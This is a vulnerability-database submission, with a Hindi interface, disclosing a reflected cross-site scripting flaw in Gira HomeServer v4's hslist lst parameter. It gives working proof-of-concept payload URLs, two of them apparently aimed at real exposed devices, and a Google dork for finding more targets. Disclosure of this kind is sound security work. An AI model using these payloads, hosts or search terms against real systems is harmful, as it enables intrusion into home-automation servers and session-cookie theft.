| शीर्षक | Gira HomeServer v4 Reflected Cross-Site Scripting |
|---|
| विवरण | PoC:
Is it possible to escape with quotes via the hslist?lst=debug parameter, causing reflected cross-site scripting
https://x.x.x.x/hslist?lst=debug%27%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E (Version 4.12.0.220829 beta)
https://6cfa3ae45b506ee1966df14328c60679.rnas-dyn.bluewin.ch/hslist?lst=debug%27%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie)%3E (Version 4.11.3.220701)
http://jrola.xyz/hslist?lst=debug%27%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E (Version 4.11.1.210701)
Google Dork:
intext:"Gira HomeServer 4."
Product:
https://partner.gira.com/en/systeme/knx-system/knx-produkte/server/homeserver.html |
|---|
| स्रोत | ⚠️ https://partner.gira.com/en/systeme/knx-system/knx-produkte/server/homeserver.html |
|---|
| उपयोगकर्ता | Stux (UID 40142) |
|---|
| सबमिशन | 06/05/2023 05:53 PM (3 साल पहले) |
|---|
| संयम | 16/05/2023 04:37 PM (10 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 229150 [Gira HomeServer तक 4.12.0.220829 beta /hslist lst क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 20 |
|---|